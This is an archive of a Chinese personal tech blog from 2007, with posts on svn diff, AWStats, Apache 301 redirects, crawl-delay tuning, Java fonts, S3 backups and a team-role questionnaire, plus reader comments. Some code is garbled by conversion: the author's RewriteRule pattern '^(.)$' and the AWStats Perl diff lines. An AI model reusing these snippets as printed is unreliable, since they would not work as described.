svn diff **-x** [--extensions] arg : Default: '-u'. When Subversion is invoking an external diff program, ARG is simply passed along to the program. But when Subversion is using its default internal diff implementation, or when Subversion is displaying blame annotations, ARG could be any of the following: -u (--unified): Output 3 lines of unified context. -b (--ignore-space-change): Ignore changes in the amount of white space. -w (--ignore-all-space): Ignore all white space. --ignore-eol-style: Ignore changes in EOL style

但内置的diff命令似乎不支持-b选项：

$ svn diff -x -b svn: '-b' is not supported

需要在 ~/.subversion/config文件中设置了

[helpers] diff-cmd = /usr/bin/diff

才可以使用svn diff -x扩展选项。

以上例子中svn的版本： svn, version 1.4.2 (r22196) compiled Feb 3 2007, 12:58:02

年终总结： 2007 chedong.com 小结

Sat, 05 Jan 2008 15:54:57 +0800

2007年过去了，又到了年终总结的时候。先看数字，一年下来访问人为148万（月独立IP累计），而人流量基本上从2006年12月份以后就没有增长了（每天平均在6000人左右），但带宽控制的不错：经过http压缩和缓存优化和防盗链处理以后以后文件字节流量还下降了几十G（2007年共传输210G数据，其中有1/3左右为蜘蛛、机器人流量），另外一个下降的原因是对一些RSS订阅进行了转向。

访问来源仍然主要是搜索引擎：已经超过了50%（可以说，没有搜索引擎这个网站几乎就不存在）来自搜索引擎 - 全部列出

Baidu 677764 814104
Google 543604 567471
Yahoo! 66793 68826
SoSo 50184 65639
VNet 24568 24570
Windows Live 15684 36093
3721 11038 11038
MSN Search 6330 6344
Google (Images) 4154 5967
SoGou 3002 3965

2006年无意中解决了spoolsv.exe的问题，2007年则有目的的解决了svchost.exe的问题： 181002 个不同的关键字句搜索百分比 svchost.exe 94856 7 % spoolsv.exe 91142 6.8 % spoolsv 79418 5.9 % svchost 49209 3.6 % 免费杀毒软件 35585 2.6 % cvs 27687 2 % 杀毒软件 22625 1.6 % 免费杀毒软件 21707 1.6 % lucene 17863 1.3 % 假设每个关键词搜索能为搜索者节省几个小时的话：这一年下来应该累计节省了几百个人月了，这是不是也算是捐献时间的一种呢？其实我一直在想：目前这个网站主要的用途就是为初学者提供了一些入门的帮助，也许更需要的是一个wiki模式的归档平台而不是一个blog。修改/优化以前文章的内容，标题已经成为了更加经常的工作。

如何禁用IBM X61/X60的FN+空格键屏幕放大功能：删除ThinkPad Magnifier驱动

Thu, 03 Jan 2008 09:39:38 +0800

在切换中英文输入时经常把Ctrl+空格键误按为FN+空格键，X60 X61以及T60系列都有这个设置，可能是设计没有考虑到中文用户经常需要做输入法切换吧。

怎样删除这个功能呢？方法是：在添加删除程序中可以找到ThinkPad magnifier（放大镜）程序，删除后重启Windows XP操作系统即可。

在蓝键的功能列表中还有一个Keyboard Customizer Utility对设置FN的放大键没用。

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

jeff · 2008-01-04 23:25

这个功能我也是一真想去掉的.一直是在系统设置里找的,没有找到过.

用AWStats统计Mail服务日志(sendmail)并生成报表

Thu, 06 Dec 2007 08:44:13 +0800

AWStats也可以用来对FTP和Mail的日志进行统计，一下是一个针对Postfix邮件发送日志的配置样例：

日志类型设置为邮件：M格式

LogType=M

日志字段要一一指定；

LogFormat="%time2 %email %email_r %host %host_r %method %url %code %bytesd" LevelForBrowsersDetection=0 LevelForOSDetection=0 LevelForRefererAnalyze=0 LevelForRobotsDetection=0 LevelForWormsDetection=0 LevelForSearchEnginesDetection=0 LevelForFileTypesDetection=0 ShowMenu=1 ShowMonthStats=HB ShowDaysOfMonthStats=HB ShowDaysOfWeekStats=HB ShowHoursStats=HB ShowDomainsStats=0 ShowHostsStats=HBL ShowAuthenticatedUsers=0 ShowRobotsStats=0 ShowEMailSenders=HBL ShowEMailReceivers=HBL ShowSessionsStats=0 ShowPagesStats=0 ShowFileTypesStats=0 ShowFileSizesStats=0 ShowBrowsersStats=0 ShowOSStats=0 ShowOriginStats=0 ShowKeyphrasesStats=0 ShowKeywordsStats=0 ShowMiscStats=0 ShowHTTPErrorsStats=0 ShowSMTPErrorsStats=1

对于mail原始日志用maillogconvert.pl进行转换，脚本位于awstats/tools目录下；

LogFile="/bin/zcat /var/mail/mail.1.log.gz |/usr/bin/perl /path/to/maillogconvert.pl standard | "

AWStats统计输出样例： http://www.chedong.com/cgi-bin/awstats/awstats.pl?config=mail

参考文档：使用 Awstats 分析 maillog (適用sendmail、Postfix… 等) by Neo

💬 历史评论

以下 2 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

FT中文网的FEED为什么总是旧文翻新？

Thu, 29 Nov 2007 10:03:11 +0800

同样一篇文章：每当有新一篇文章发布后，FTChinese的FEED就会显示有大量更新，除了第一篇外，其他主要是以前的旧文章；

我观察了一下同一篇文章的URL：发现主要是由一些服务的跟踪参数变化造成的 http://www.ftchinese.com/sc/story.jsp?id=001014956&pos=RSS_DAILY_NEWS&pa1=0&pa2=4&loc=RSS_EMAIL http://www.ftchinese.com/sc/story.jsp?id=001014956&pos=RSS_DAILY_NEWS&pa1=0&pa2=3&loc=RSS_EMAIL 而目前的大部分RSS应用（主要是：RSS阅读器）都是以URL为内容的唯一标示的。但由于跟踪参数的问题：导致所有的链接地址都不稳定（每次更新后）旧文地址会变。

做数据跟踪是必要的：但是以破坏链接地址的稳定性就有些得不偿失了。

解决这个问题有2个办法： 1 阅读器改用文章内容的签名（MD5）作为文章唯一标示，有内容更新则显示未读； 2 RSS的输出者：保证地址的稳定性，文章的来源跟踪，尽量通过浏览器名称，Referer 头信息等特征组合跟踪；

💬 历史评论

以下 12 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

浅草妖怪 · 2007-11-29 17:32

呵呵。多谢兄台。都有些愧对你的热情帮助了。目前有一些特殊情况没有办法处理，但我保证一定会在可能的时候尽快弄好的。（因为现在负责数据分析的同事病休了一个多月了。我现在没有办法直接改动这个，不经过他的认可）

非常感谢你！有机会电话联系！

浅草妖怪 · 2007-11-29 17:36

而且，这个ＵＲＬ的问题，应该不仅仅影响RSS的feed,还影响一些搜索引擎的收录和ranking吧？我个人的猜测。所以，我会在马上开始的平台改造中，不再用大量的这样东西来做tracking。

roger · 2007-11-29 22:39

google reader不好用，不如bloglines, 它似乎没这个问题

fisher · 2007-11-30 11:36

FT中文网的评论部分太不流畅了，非常糟糕。应该向WSJ中文网的评论代码学习啊。

guardy · 2007-12-03 22:49

就是因为翻旧文毛病,我早已经退订这个feed.

gnaw0725 · 2007-12-05 11:40

我对此持不同观点。从seo的校对来看，就是要尽可能的利用现有资源。从用户的角度来看，不可能所有的用户都读过所有的文章。那么只要精确的定位受众，即便是老文章、旧文章，通过一定形式的重新组织，一样是很受欢迎的。

那么如其让压箱底的文章“腐臭”。何不把它们翻出来晒晒？

活动目录seo http://gnaw0725.blogbus.com

netwjx · 2007-12-09 04:35

按照url区分feed是否重复是不错的办法,但是在GreatNews(离线版的阅读器我用bloglines同步)下,是按照新闻的一个标识,忘了具体叫什么了,之前在GN的论坛里面提出过,作者说是因为哪个标识变了,所以重复出现,一般的解释是作者发布之后又修改了一些内容

xdanger · 2007-12-14 09:29

控制Yahoo!Slurp China蜘蛛的访问频度 Crawl-delay: 1000 的效果

Thu, 22 Nov 2007 19:13:48 +0800

Crawl-delay: 100 的访问频度：Yahoo! Slurp比一般引擎高4-5倍

Yahoo Slurp 95899+234 415.40 M字节 2007年 9 月 30日 23:58 Yahoo! Slurp China 81349+165 479.04 M字节 2007年 9 月 30日 23:59 Googlebot 17741+518 96.31 M字节 2007年 9 月 30日 23:47

Crawl-delay: 1000 的访问频度： Slurp已经恢复到和其他引擎相同水平

Googlebot 22448+413 196.22 M字节 2007年 11月 21日 23:53 Yahoo! Slurp China 15881+192 116.92 M字节 2007年 11月 21日 23:57 Yahoo Slurp 10661+155 98.77 M字节 2007年 11月 21日 23:59

参考文档：如何控制Yahoo! Slurp蜘蛛的抓取频度

💬 历史评论

以下 2 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

贝尔宾团队角色理论：附Belbin Team Roles测试 CW CO SH PL RI ME TW FI

Wed, 21 Nov 2007 21:44:07 +0800

团队角色理论叫做贝尔宾团队角色理论（[Belbin team roles](http://en.wikipedia.org/wiki/Belbin_Team_Inventory)），贝尔宾（[Dr. Raymond Meredith Belbin](http://en.wikipedia.org/wiki/Meredith_Belbin)）是英国的一个教授，他在1981年出版了一本书《团队管理：他们为什么成功或失败》（[Management Teams - Why They Succeed or Fail](http://www.belbin.com/managementteams.htm)），在这本书中他提出了这套团队角色模型。

基本思想是：没有完美的个人，只有完美的团队。人无完人，但团队却可以是完美的团队，只要适当的拥有如下各种角色。

**团队角色自测问卷** 说明：对下列问题的回答，可能在不同程度上描绘了您的行为。每题有八句话，请将总分十分分配给每题的八个句子。分配的原则是：最体现您行为的句子分最高，以此类推。最极端的情况也可能是十分全部分配给其中的某一句话。请根据您的实际情况把分数填入后面的表中。[这里有份Excel，可以帮助你校验每题的分数](http://zhchen.spaces.live.com/blog/cns!D2C051B4453AE5B5!182.entry)（表格计数有点问题），[修正后的贝尔宾团队角色评估Excel表格](http://www.chedong.com/blog/archives/2011/03/04/belbin-team-roles.xlsx)： **一、我认为我能为团队做出贡献是：** A、我能很快地发现并把握住新的机遇。 B、我能与各种类型的人一起合作共事。 C、我生来就爱出主意。 D、我的能力在于，一旦发现某些对实现集体目标很有价值的人，我就及时把他们推荐出来。 E、我能把事情办成，这主要靠我个人的实力。 F、如果最终能导致有益的结果，我愿面对暂时的冷遇。 G、我通常能意识到什么是现实的，什么是可能的。 H、在选择行动方案时，我能不带倾向性，也不带偏见地提出一个合理的替代方案。 **二、在团队中，我可能有的弱点是：** A、如果会议没有得到很好的组织、控制和主持，我会感到不痛快。 B、我容易对那些有高见而又没有适当地发表出来的人表现得过于宽容。 C、只要集体在讨论新的观点，我总是说的太多。 D、我的客观算法，使我很难与同事们打成一片。 E、在一定要把事情办成的情况下，我有时使人感到特别强硬以至专断。 F、可能由于我过分重视集体的气氛，我发现自己很难与众不同。 G、我易于陷入突发的想象之中，而忘了正在进行的事情。 H、我的同事认为我过分注意细节，总有不必要的担心，怕把事情搞糟。 **三、当我与其他人共同进行一项工作时：** A、我有在不施加任何压力的情况下，去影响其他人的能力。 B、我随时注意防止粗心和工作中的疏忽。 C、我愿意施加压力以换取行动，确保会议不是在浪费时间或离题太远。 D、在提出独到见解方面，我是数一数二的。 E、对于与大家共同利益有关的积极建议我总是乐于支持的。 F、我热衷寻求最新的思想和新的发展。 G、我相信我的判断能力有助于做出正确的决策。 H、我能使人放心的是，对那些最基本的工作，我都能组织得“井井有条”。** 四、我在工作团队中的特征是：** A、我有兴趣更多地了解我的同事。 B、我经常向别人的见解进行挑战或坚持自己的意见。 C、在辩论中，我通常能找到论据去推翻那些不甚有理的主张。 D、我认为，只要计划必须开始执行，我有推动工作运转的才能。 E、我有意避免使自己太突出或出人意料。 F、对承担的任何工作，我都能做到尽善尽美。 G、我乐于与工作团队以外的人进行联系。 H、尽管我对所有的观点都感兴趣，但这并不影响我在必要的时候下决心。 **五、在工作中，我得到满足，因为：** A、我喜欢分析情况，权衡所有可能的选择。 B、我对寻找解决问题的可行方案感兴趣。 C、我感到，我在促进良好的工作关系。 D、我能对决策有强烈的影响。 E、我能适应那些有新意的人。 F、我能使人们在某项必要的行动上达成一致意见。 G、我感到我的身上有一种能使我全身心地投入到工作中去的气质。 H、我很高兴能找到一块可以发挥我想象力的天地。 **六、如果突然给我一件困难的工作，而且时间有限，人员不熟：** A、在有新方案之前，我宁愿先躲进角落，拟定出一个解脱困境的方案。 B、我比较愿意与那些表现出积极态度的人一道工作。 C、我会设想通过用人所长的方法来减轻工作负担。 D、我天生的紧迫感，将有助于我们不会落在计划后面。 E、我认为我能保持头脑冷静，富有条理地思考问题。 F、尽管困难重重，我也能保证目标始终如一。 G、如果集体工作没有进展，我会采取积极措施去加以推动。 H、我愿意展开广泛的讨论意在激发新思想，推动工作。 **七、对于那些在团队工作中或与周围人共事时所遇到的问题：** A、我很容易对那些阻碍前进的人表现出不耐烦。 B、别人可能批评我太重分析而缺少直觉。 C、我有做好工作的愿望，能确保工作的持续进展。 D、我常常容易产生厌烦感，需要一、二个有激情的人使我振作起来。 E、如果目标不明确，让我起步是很困难的。 F、对于我遇到的复杂问题，我有时不善于加以解释和澄清。 G、对于那些我不能做的事，我有意识地求助于他人。 H、当我与真正的对立面发生冲突时，我没有把握使对方理解我的观点。

Brad Garlinghouse的Inbox 2.0

Sun, 18 Nov 2007 20:48:16 +0800

从品味雅虎那里看到了Brad Garlinghouse的Inbox 2.0计划（Brad就是那个雅虎花生酱宣言的作者）。感觉是一个很不错的方向：挖掘现有邮箱用户的联系圈，构建社交网络。其实很长时间以来：EMail用户的联系人地址簿都是各种SNS（LinkedIn, Facebook, MySpace, Plaxo，Hi5等）和Spam服务的猎取目标。而各大邮箱服务商也意识到：只要用户日常邮箱使用行为进行一些挖掘是个相对成本较低的获取用户社交网络的途径。比如：邮件是否被打开：就能获得那些“人”发的邮件比较重要；那些邮件被回复了：可以自动将对方的邮件地址到联系人里；那些邮件被标记spam了：可以用来识别你最不想看的邮件（人）；鼓励用户从客户端程序导入联系人：OutLook等；各个服务商的IM本身：大部分都是对应有邮箱联系人的；

而另外一个线索：最近在LinkedIn里已经看不到从雅虎邮箱导入联系人的功能了，原先你可以从的4种主要邮箱：GMail / Yahoo! / AOL / Hotmail中导入，现在只剩下了GMail和AOL；可能原来的接口已经不开放了。雅虎的改为了API方式：必须在雅虎网站帐号下输入用户名和密码，然后确认LinkedIn.com可以使用远程认证。

说实话，一年前我过想给雅虎通（包括其他IM）加个功能：小尾巴blog（类似于twitter） 1 雅虎通小尾巴BLOG 搜集保存归档自己联系人的每天的小尾巴，一天更新多次的保存更新时间和内容； 2 可以按照用户视图：查看以往归档； 3 可以按照关键词检索列表； 4 将小尾巴发布到自己的BLOG上；

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Fenng · 2007-11-19 11:00

雅虎信箱现在连 Spam 都搞不定了 :(

SNS 有啥用?

把不带前缀的域名转向到www.域名的Apache 301转向配置样例

Fri, 09 Nov 2007 10:37:14 +0800

各种不同的域名地址对于搜索引擎的除重(deduplication)来说是一个负担，有没有"/“和首页的文件连接，一个域名首页就可以有6个地址： www.chedong.com/ chedong.com/ www.chedong.com chedong.com www.chedong.com/index.php chedong.com/index.php

如果加上一些参数，比如用于来源跟踪等还会有更多无穷无尽的地址。 www.chedong.com/?source=foobar

所以搜索引擎鼓励发布者把URL标准化（归一化）。首先就是域名的归一化，原先我的设置为： www.chedong.com / chedong.com为别名。现在改为chedong.com 301转向到www.chedong.com <VirtualHost :80> ServerName chedong.com RewriteEngine on RewriteRule ^(.)$ http://www.chedong.com$1 [R=301,L]

如果没有mod_rewrite也可以设置mod_alias： RedirectMatch 301 ^(.*)$ http://www.chedong.com

在域名和目录的规划方面：豆瓣和FlickR都是非常干净的（完全隐藏了程序文件名的后缀，而统一规划了目录路径），而且在RSS方面豆瓣比FlickR做的更彻底。当然Wikipedia更彻底，目录结构非常扁平，根本没有目录。从而避免了很多潜在的连接混淆，而相互的引用，也因此非常集中而少歧义。

参考文档：Apache和IIS的服务器301转向配置

💬 历史评论

以下 4 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

etng · 2007-11-09 13:08

我整理了一下，这样一个模板

example.virtualhost.template

ServerName example.com

this will redirect all the following format request to www.example.com

www.example.com/

example.com/

www.example.com

example.com

www.example.com/index.php

example.com/index.php

    RewriteEngine on
    RewriteRule ^(.*)$ http://www.example.com$1 [R=301,L]

# if you do not have mod_rewrite,uncomment the following line
#RedirectMatch 301 ^(.*)$ http://www.example.com


ServerName www.example.com
DocumentRoot "D:/projects/www.exmaple.comt/public"

…

21andy · 2007-11-17 21:36

网速测试软件：SpeedTest mini脚本

Sun, 04 Nov 2007 19:57:16 +0800

speedtest.net/mini.php这里有个SpeedTest：网络宽带速度测试软件工具可以下载。解包后，将index-php.html命名成index.php就可以测试了： http://www.chedong.com/speedtest/，感兴趣的话请运行一下，并通过留言告诉我你的所在地，ISP服务商（电信/网通，拨号还是ADSL）和测试的下载/上传速度数值，谢谢。

日志记录： 202.165.107.100 - - [04/Nov/2007:19:55:56 +0800] “GET /speedtest/speedtest/random350x350.jpg?x=1194177282218 HTTP/1.1” 200 245388 “-” “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9” 202.165.107.100.81561184209038542 202.165.107.100 - - [04/Nov/2007:19:55:58 +0800] “GET /speedtest/speedtest/random350x350.jpg?x=1194177284843 HTTP/1.1” 200 245388 “-” “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9” 202.165.107.100.81561184209038542 202.165.107.100 - - [04/Nov/2007:19:55:59 +0800] “POST /speedtest/speedtest/upload.php HTTP/1.1” 200 23 “http://www.chedong.com/speedtest/speedtest.swf?v=1.0" “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9” 202.165.107.100.81561184209038542 202.165.107.100 - - [04/Nov/2007:19:56:02 +0800] “POST /speedtest/speedtest/upload.php HTTP/1.1” 200 24 “http://www.chedong.com/speedtest/speedtest.swf?v=1.0" “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9” 202.165.107.100.81561184209038542

Java桌面应用的缺省字体太难看？使用Windows系统宋体和雅黑字体的设置方法

Thu, 25 Oct 2007 03:27:36 +0800

Java应用和Windows应用一眼就能看出来，因为字体往往差别很明显。不同平台发布的Java有不同的缺省字体设置，比如：IBM的缺省是宋体－方正超大字体集，字库倒是很全，但字体看起来比较简陋（锯齿较明显），有时候甚至影响阅读。

如何换成Windows系统缺省的宋体字 1.4以前版本： 1 找到JAVAHOME/lib/font/下的font.properties.zh文件： 比如： C:\Program Files\IBM\Java142\jre\lib 下： 2 搜索 Simsun (Founder Extended)替换成Simsun即可；

Java 5以上版本： 1 将 %JAVAHOME%\lib\fontconfig.properties.src 命名为 %JAVAHOME%\lib\fontconfig.properties； 比如： C:\Program Files\Java\jre1.6.0_03\lib下的fontconfig.properties 2 将 %JAVAHOME%\lib\fontconfig.properties文件中的 “allfonts.chinese-gb18030属性更改为 “allfonts.chinese-gb18030=SimSun”；

参考文档： IBM DB2 控制中心等图形工具在 Windows 下的字体设置

如何充分利用系统的ClearType支持 苹果操作系统对于字体比较重视：苹果平台上的JDK专门有扩展属性用于平滑字体的扩展设置。

而应用的选项中：也有字体边缘平滑的设置，但需要每个应用找到工具选项的基面设置。更通用的方法是在Windows的系统字体，所有Java应用全面支持ClearType的还是需要Java 5或6，先按照上面的fontconfig.properties设置成宋体后，然后安装雅黑字体包替换系统缺省的宋体即可。

效果附图：

💬 历史评论

以下 2 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

georgexsh · 2007-10-26 15:20

字体是一方面，我觉得关键还是字号太小比如freemind，界面字体即使如此修改仍然很差劲，还是改用英文界面算了

风过 · 2009-02-25 16:29

呃。。。。貌似你可以考虑在UI添加抗锯齿绘制，不论什么字体效果都还不错

comm或diff时：需要注意Windows/Unix文本结尾的回车符问题

Sun, 21 Oct 2007 21:59:19 +0800

Windows文件系统中的换行符是 \r\n
Apple的文件系统中的换行符是 \r
Unix的文件系统中的换行符是 \n

由于回车都是不可见的，所以comm和diff之前最好先将多个不同来源的文本用换行符处理一下，否则diff出来的结果会差距很大。比较方便的是用系统自带的一些命令行工具：tr（替换）和strings（只打印可显示字符） tr -d “\015” < A > B
strings A > B

参考文档：在unix上用的去掉windows文件中的换行符(0x0D)的shell

💬 历史评论

以下 4 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

xLight · 2007-10-22 13:20

我求你一件事呗？

就是：求你别用FeedBurner的统计啦！

每次在Reader里面点击你的文章都gfw掉了，虽然很无奈，但是你怎么也要照顾一下我们吧

qinyf · 2007-10-23 01:12

/r /n应该是\r \n吧……

蓝色的信封 · 2007-10-23 21:31

“比较方面的时用系统自带的”

是否是错字，还是我理解不够？

pig345 · 2007-12-29 10:28

似乎一般的linux发行版里面带有dos2unix／mac2unix／unix2dos。

Google的搜索来源分布跟踪解读：GGGL与GGLD，sourceid和client,rlz,rls等

Mon, 15 Oct 2007 17:18:20 +0800

Google出品的参数是sourceid 例如： FIREFOX工具条： navclient-ff 桌面搜索： gd IE工具条： navclient

非GOOGLE产品合作伙伴使用client参数：例如： FireFox内置：firefox-a 傲游浏览器： aff-os-maxthon

更详细的信息是rls参数：包括首次安装时间和语言版本； rls=GGGL,GGGL:2006-27,GGGL:zh-CN 2006-27：应该是Google工具条的首次安装时间（于一年中的第几周），和我升级到FireFox 2.x时间接近，第二个参数是工具条的语言，以此类推： GGLD应该代表桌面搜索例如： rls=GGLD,GGLD:2006-35,GGLD:zh-CN

而最新URL中参数已经增加了： rlz跟踪参数； 例如： rlz=1T4GGLD_zh-CN___CN228 应该是更详细的版本号，安装时间等信息；

后面是我的网站上搜集到的各种来源分布和猜测含义：

Google产品：sourceid分布 494 navclient IE工具条 106 navclient-ff Firfox工具条 53 ie7 IE7内置搜索框 13 opera Opera浏览器 4 hint 搜索提示？ 3 gd 桌面搜索 1 navclient-menuext IE工具条的下拉菜单 1 mozilla2 Mozilla 2.？ 1 customizegoogle 搜索定制 1 captaincaveman ？？？？

非Google产品：client的分布 323 aff-avalanche 是个桌面撞球小游戏的名字，从265的网站上可以找到这个代码 229 firefox-a FireFox内置搜索框 106 aff-os-maxthon 傲游浏览器 98 aff-cs-maxthon 傲游浏览器客户端 98 aff-9991 9991捆绑 81 aff-sub-lianmeng 联盟捆绑 53 aff-sina 新浪合作 47 aff-maxthon 傲游浏览器 40 aff-cs-gbown 32 firefox
29 pub-1309797784693300 29 aff-cs-worldbrowser 世界之窗浏览器 27 opera Opera浏览器 26 aff-5566 5566捆绑 25 pub-7908916078457618 25 aff-sub-group2 24 aff-os-worldbrowser 世界之窗浏览器 13 pub-3559288694001724 10 safari Safari浏览器 8 aff-gb 8 aff-cs-gbto 7 aff-cs-gosurf 5 aff-cs-cnc 网通 4 pub-4571295426657318 4 pub-4273724667394431 4 pub-2215799605516001 4 pub-0194889602661524" 4 pub-0194889602661524 4 aff-sub-group3 3 pub-6779645896534375 3 pub-2565527930429163" 3 aff-bitcomet 比特精灵 2 pub-8406103100425592 2 pub-4895116691449379 2 pub-2190841356460864 2 pub-1023602766778897

给AWStats关键词统计增加去百度，谷歌等搜索引擎的站内查询链接

Fri, 28 Sep 2007 15:28:24 +0800

有时候看关键词的统计并不知道具体的关键词是从那个搜索引擎过来的，具体落到了自己网站的那个页面上。给AWStats的关键词列表增加了几个链接，直接指向相应关键词的在百度，谷歌，雅虎3个引擎上的站内搜索结果。效果如图： ![关键词链接](http://www.chedong.com/blog/archives/awstats_keywords_link.png)

修改代码附后：针对6.9版本修改

RCS file: /cvsroot/awstats/awstats/wwwroot/cgi-bin/awstats.pl,v
retrieving revision 1.927
diff -r1.927 awstats.pl
46c46
<   5000;   # Nb of records in data arrays after how we need to flush data on disk
---
>   50000;   # Nb of records in data arrays after how we need to flush data on disk
15368a15369,15372
>                                 . " [. $SiteDomain. " ". $mot ."\">\[Baidu\]](\"http://www.baidu.com/s?wd=site:")"
>                                 . " [. $SiteDomain. " " . $mot ."\">\[Google\]](\"http://www.google.cn/search?ie=gbk&q=site:")"
15416a15421,15424
>                                 . " [. $SiteDomain. " ". $mot ."\">\[Baidu\]](\"http://www.baidu.com/s?wd=site:")"
>                                 . " [. $SiteDomain. " " . $mot ."\">\[Google\]](\"http://www.google.cn/search?ie=gbk&q=site:")"
18754a18763,18766
>                                 . " [. $SiteDomain. " ". $mot ."\">\[Baidu\]](\"http://www.baidu.com/s?wd=site:")"
>                                 . " [. $SiteDomain. " " . $mot ."\">\[Google\]](\"http://www.google.cn/search?ie=gbk&q=site:")"
18824a18837,18840
>                                 . " [. $SiteDomain. " ". $mot ."\">\[Baidu\]](\"http://www.baidu.com/s?wd=site:")"
>                                 . " [. $SiteDomain. " " . $mot ."\">\[Google\]](\"http://www.google.cn/search?ie=gbk&q=site:")"

💬 历史评论

以下 3 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Lilina设置：Atom格式的RSS全文输出

Thu, 27 Sep 2007 18:20:22 +0800

之前我一直以为WordPress的atom输出是不包含全文的，因为用Lilina订阅总是只显示几十个字的摘要。后来看了一下atom的源代码，发现是包含的全文内容的，为什么Lilina没有输出呢。原因在于atom的输出有summary和content这2个字段。而Lilina缺省只输出了summary。MagpieRSS也是支持输出content的：用atom_content代替summary即可。 if ( isset($item[‘atom_content’]) ) $summary = $item[‘atom_content’];

有了全文输出，现在首页上输出的内容就比较丰富了。

如果使用atom格式做为数据源，由于格式本身的问题会浪费了不少带宽。设置输出最新15条太多了，除非每天更新条数超过5条，否则atom的输出设置为5条即可。

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

onekay · 2007-10-09 23:09

可否給我轉favicon的scripts? 我弄了一整晚也弄不好. 不明白為什么在firefox能看見自己的icon, 在IE7卻不能. 請賜教! 感謝你!

[AD] 此地、钱多、站少、速来的来历

Sun, 23 Sep 2007 09:52:30 +0800

阿里妈妈为期2个月的推介活动已经展开：可能在很多网站上都看到了这个广告。 !](http://www.alimama.com/membersvc/rd.do?w=p_10000513&p=&f=http://www.alimama.com/membersvc/promotion/tjyj.htm) 其中的w=p_10000513就是你的帐号代码，会一直跟踪到用户注册成功并发布广告位。新的广告注册用户发布后：可以参考一下注意事项，这样也许会更快的获得收入。

目前blog广告位的收入参考：日独立IP 3000左右，报价50￥/ 周。

“此地、钱多、站少、速来”这个广告听着很耳熟啊，查了一下发现原型是：此地钱多人傻速来，

而出处非常复制：据说是发自杭州市宝石山下一出租房的汇款单上的简短附言。其他说法：有人说出处是A：一个巴西业余球员；有人说是B：足球的媒体记者；有人说是C：一些早期坐台小姐；也有人说是D：对当地土老讲的话；

比较一下：Google AdSense的推介，成功一个是20$，在推荐的发布商成功拿到第一笔100$的收入以后。按效果付费的机制更和合理一些，但周期较长。

💬 历史评论

以下 4 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

ikias · 2007-09-23 11:53

我也很傻，冲上去瞧瞧。

你大爷的CEO · 2007-09-23 13:40

套用德纲一句话：这有点儿意思这个～

Judie · 2007-09-23 13:52

有空关注一下陈安之和林伟贤的讲座。我们这边常有。刚有一位朋友飞澳洲去听安东尼奥-罗宾的潜能训练课程。

xiaoyu · 2007-09-24 22:20

如果你要域名停放可以找我.

可以不管点击量,按流量支付收入.

www.ongod.org

如何利用Amazon S3服务将文件备份到国外

Mon, 17 Sep 2007 17:46:42 +0800

如果担心自己网站/Blog内容遇到不可抗力的用户可以考虑一下利用s3的服务将文件远程备份到国外。去年AMazon推出了一系列基于Web的服务，其中S3（Simple Storage Service）是网络服务的存储和带宽传输，发布时的价格为：

# $0.15 per GB-Month of storage used. # $0.20 per GB of data transferred.

具体成本可以参考一下[Jeremy的在家备份和使用S3的比较](http://jeremy.zawodny.com/blog/archives/007624.html)，算算电费和灾难恢复等可靠性指标还是用s3比较便宜，其实我自己目前也在用DreamHost的空间做远程定期同步备份。

注释：带宽费用国内大约1￥可以买2-4G，国外的带宽还是比较贵的。

由于是公开的web服务：现在的可用工具也很多了。从面向个人用户的客户端程序(Java的客户端JetS3T和不免费的JungleDisk)，到面向自动备份的脚本，也有用于应用开发的各种语言样例；从国内访问，速度是无法保证的，因此远程安全备份和用于自己在不同机器上共享文件就是主要的目的了，自动备份文件有文章推荐了s3curl，我下载用了一下，需要用到的就是以下几个命令： s3curl就是在curl命令外面包了一个选项的perl脚本，登录Amazon的s3服务，先从Your Web Service Account菜单进入到AWS Access Identifiers，获得你的Your Access Key ID Your Secret Access Key 。

列表：

./s3curl.pl --id YourAccessKeyID --key YourSecretAccessKey -- http://s3.amazonaws.com

创建目录[Bucket]：Bucket就是文件夹，但是不能在文件夹下再创建文件夹。

./s3curl.pl --id YourAccessKeyID --key YourSecretAccessKey --createBucket -- http://s3.amazonaws.com/chedong

上传文件[Object]：

./s3curl.pl --id YourAccessKeyID --key YourSecretAccessKey --put mysql.4.gz -- http://s3.amazonaws.com/chedong/mysql.backup.gz

列出一个目录[Bucket]下所有文件[Object]：

./s3curl.pl --id YourAccessKeyID --key YourSecretAccessKey -- http://s3.amazonaws.com/chedong

注意：请预先确认已经安装 perl -MCPAN -e ‘install “Digest::HMAC_SHA1”’

O'Reilly《精通正则表达式》第三版（中文） [书评]

Wed, 12 Sep 2007 19:11:37 +0800

做为发行量很大的IT开发人员工具参考书出版商，O’Reilly的书往往紧跟开发人员的需求，与时俱进，一版而再版，这本《精通正则表达式》已经是第三版了，看了一下目录：增加了对Unicode的支持；增加了不少在新语言环境中的运用介绍： PHP、Java、dotNET等（Ruby没有单独列出一章只是讲原理的时候提到）；

利用正则表达式可以方便的解决大量文本高级替换整理工作：从把文章中的华氏度换成摄制度到按照指定公式生成各种统计报表，而最近几年：搜索引擎对于互联网的影响加大，为了更好的伺候搜索引擎蜘蛛和机器人，连SEO的培训中：往往也会增加基于正则表达式的url rewrite一节。所以这里向原作者提个建议：希望在下一版中增加基于Apache的mod_rewrite进行URL rewriting一章，相信会吸引更多的LAMP开发人员。

《精通正则表达式》第三版（中文）的翻译者是余晟（目前在抓虾工作）。本书发行后，译者会在blog上开辟一个专门的勘误专区吧……

